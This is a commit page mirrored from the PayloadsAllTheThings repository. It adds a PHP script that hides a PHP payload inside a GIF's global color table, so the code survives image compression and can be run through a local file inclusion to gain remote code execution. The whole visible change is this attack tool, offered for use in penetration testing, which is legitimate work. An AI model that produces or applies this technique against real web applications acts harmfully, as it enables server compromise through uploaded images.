mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2025-12-28 13:43:12 -08:00
LFI2RCE - Picture Compression - SOCKS5 CS
This commit is contained in:
@@ -0,0 +1,22 @@
|
||||
<?php
|
||||
// createGIFwithGlobalColorTable.php
|
||||
$_file="example.gif";
|
||||
$_payload="<?php evil();?>";
|
||||
$_width=200;
|
||||
$_height=200;
|
||||
if(strlen($_payload)%3!=0){
|
||||
echo "payload%3==0 !"; exit();
|
||||
}
|
||||
$im = imagecreate($_width, $_height);
|
||||
$_hex=unpack('H*',$_payload);
|
||||
|
||||
$colors_hex=str_split($_hex[1], 6);
|
||||
|
||||
for($i=0; $i < count($colors_hex); $i++){
|
||||
$_color_chunks=str_split($colors_hex[$i], 2);
|
||||
$color=imagecolorallocate($im,hexdec($_color_chunks[0]),hexdec($_color_chunks[1]),hexdec($_color_chunks[2]));
|
||||
imagesetpixel($im,$i,1,$color);
|
||||
}
|
||||
|
||||
imagegif($im,$_file);
|
||||
?>
|
||||
Reference in New Issue
Block a user